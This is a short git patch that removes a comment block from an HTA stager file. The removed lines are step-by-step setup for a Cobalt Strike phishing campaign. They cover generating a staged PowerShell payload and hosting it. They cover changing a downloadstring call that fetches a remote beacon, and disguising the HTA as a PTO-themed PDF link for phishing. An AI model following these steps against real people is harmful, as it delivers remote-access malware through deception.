From 28fe1930d95cc48ffb09f423ce84733979c04723 Mon Sep 17 00:00:00 2001 From: Matt Nelson Date: Sat, 30 Jul 2016 22:37:37 -0700 Subject: [PATCH] Comments are hard :-( https://technet.microsoft.com/en-us/library/ee176797.aspx --- ProxyAware-ps-Stager.hta | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/ProxyAware-ps-Stager.hta b/ProxyAware-ps-Stager.hta index 3120547..c3e1f7d 100644 --- a/ProxyAware-ps-Stager.hta +++ b/ProxyAware-ps-Stager.hta @@ -1,19 +1,8 @@ -# CobaltStrike setup -# 1) git clone -# 2) remove the comment block “#" -# 3) Client name has to be set in the message box function -# 4) setup listener of choice -> generate payload -> fully stagged (s) -> powershell -> name “client_pto.txt” -> save to desktop -# 5) CS -> host-file -> http://s.com/download/client_pto.txt -# 6) open HTA go to line 5 and replace $wc.downloadstring('http://s.org/beacon') with -> http://s.com/download/client_pto.txt -# 7) CS -> host file -> select HTA on desktop -> HOST AS “ http://s.com/download/client_pto.pdf" -# 8) simplyTemplate -> PTO template -> use the PDF link in the template %URL% location -> and PHISH away -